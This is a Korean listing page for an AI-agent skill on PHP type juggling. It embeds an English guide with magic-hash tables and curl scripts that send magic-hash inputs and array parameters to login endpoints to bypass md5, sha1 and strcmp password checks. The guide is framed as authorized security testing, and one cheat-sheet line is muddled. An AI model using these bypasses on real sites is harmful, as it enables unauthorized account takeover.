php-type-juggling
하는 일
이 스킬은 PHP의 느슨한 비교가 공격자의 검사 우회를 허용할 수 있는 방식을 설명합니다. 인증과 해시 비교를 중심으로 PHP 앱을 검토하는 보안 테스터를 위한 스킬입니다.
사용하는 경우
- ✓PHP 앱이 느슨한 비교 연산자로 해시나 토큰을 비교하는 경우.
- ✓보안 검토에서 인증 검사가 엄격한 비교를 쓰는지 물을 때.
- ✓PHP 로그인이 null이나 숫자 문자열 같은 예상 밖의 값을 받아들일 수 있을 때.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“제 PHP 로그인이 느슨한 비교 때문에 우회될 수 있는지 확인해 주세요.”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 느슨한 비교에서 PHP가 같다고 보는 값, 예를 들어 해시처럼 보이는 숫자 문자열을 설명하고 테스트하며, 검사가 통과하는지 확인합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
PHP Type Juggling and Magic Hash Attacks
Authorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.
PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types — a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.
Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.
ATT&CK Mapping
| Technique | Notes |
|---|---|
| T1190 | Exploit public-facing application — auth bypass via comparison flaw |
| T1606.001 | Forge web credentials — force authentication with crafted hash values |
1. Loose Comparison Cheat Sheet
'0010e2' == '1e3' → true (both evaluate as float 1000)
'123' == 123 → true (string cast to int)
'123abc' == 123 → true (leading numeric string)
'abc' == 0 → true (non-numeric string == 0 in PHP 5/7)
'' == 0 → true
0 == false → true
false == NULL → true
NULL == '' → true
md5([]) == NULL → true (NULL == any string starting with 0e)
sha1([]) == NULL → true
PHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.
2. Magic Hashes — 0e Collisions
When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.
MD5 Magic Strings
| Input | MD5 Hash |
|---|---|
240610708 |
0e462097431906509019562988736854 |
QNKCDZO |
0e830400451993494058024219903391 |
0e1137126905 |
0e291659922323405260514745084877 |
0e215962017 |
0e291242476940776845150308577824 |
aabg7XSs |
0e087386482136013740957780965295 |
SHA-1 Magic Strings
| Input | SHA-1 Hash |
|---|---|
10932435112 |
0e07766915004133176347055865026311692244 |
aaroZmOk |
0e66507019969427134894567494305185566735 |
aaK1STfY |
0e76658526655756207688271159624026011393 |
SHA-224 / SHA-256 Magic Strings
| Hash | Input | Output |
|---|---|---|
| SHA-224 | 10885164793773 |
0e281250946775200129471613219196999537878926740638594636 |
| SHA-256 | 34250003024812 |
0e46289032038065916139621039085883773413820991920706299695051332 |
| SHA-256 | TyNOQHUS |
0e66298694359207596086558843543959518835691168370379069085300385 |
Exploitation
# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.
# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
echo -n "Trying $magic: "
curl -si "https://target.example.com/login" \
-d "username=admin&password=${magic}" \
| grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done
3. NULL Bypass via Array Input
md5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:
# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
-d "username=admin&password[]=" \
| grep -E "Location:|Set-Cookie:|error"
# POST with array notation
curl -si "https://target.example.com/verify" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "hash[]=&user=admin" \
| grep -i "success\|error\|redirect"
4. strcmp() Return Value Bypass
strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):
# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
-d "username=admin&pass[]=" \
| grep -iE "success|welcome|redirect|Location"
5. HMAC Brute-Force for 0e Collision (Magic HMAC)
When a cookie HMAC is verified with loose comparison against "0", an attacker
자주 묻는 질문
매직 해시란 무엇인가요?
해시 값이 0으로 시작하고 그 뒤에 e와 숫자가 이어지는 값으로, PHP가 느슨한 비교에서 0으로 읽는 값입니다.
최신 PHP 버전에도 해당하나요?
이 스킬은 PHP 8이 숫자 문자열 문제 대부분을 고쳤지만 일부 예외 상황은 남아 있다고 말합니다.
비밀번호에만 해당하나요?
아닙니다. HMAC 검사와 NULL 반환 문제도 다룹니다.
상세 정보
작성자의 원본 설명
PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14075
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.